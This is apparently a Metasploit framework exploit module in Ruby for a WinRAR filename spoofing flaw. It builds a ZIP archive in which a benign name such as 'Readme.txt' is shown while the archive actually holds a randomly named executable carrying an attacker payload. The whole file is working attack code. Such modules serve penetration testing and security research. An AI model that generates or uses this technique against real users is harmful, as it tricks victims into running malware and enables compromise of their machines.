metasploit-framework/modules/exploits/windows/fileformat/winrar_name_spoofing.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinRAR Filename Spoofing',
      'Description'    => %q{
        This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
        when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
        the central directory, but the file names used to extract and open contents come from the
        Local File Header. This inconsistency allows to spoof file names when opening ZIP files
        with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in
        March 2014
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'chr1x', # Vulnerability discoverer according to OSVDB
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '62610' ],
          [ 'BID', '66383' ],
          [ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'],
          [ 'URL', 'http://an7isec.blogspot.co.il/']
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'DisableNops' => true,
          'Space' => 4096
        },
      'Targets'        =>
        [
          [ 'Windows Universal', {} ]
        ],
      'DisclosureDate' => 'Sep 28 2009',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']),
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
      ], self.class)

  end

  def exploit
    exe_filename = rand_text_alpha(rand(6) + 1)
    exe_filename << ".exe"

    zip = Rex::Zip::Archive.new
    zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF'])
    pack = zip.pack

    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(pack)
  end

end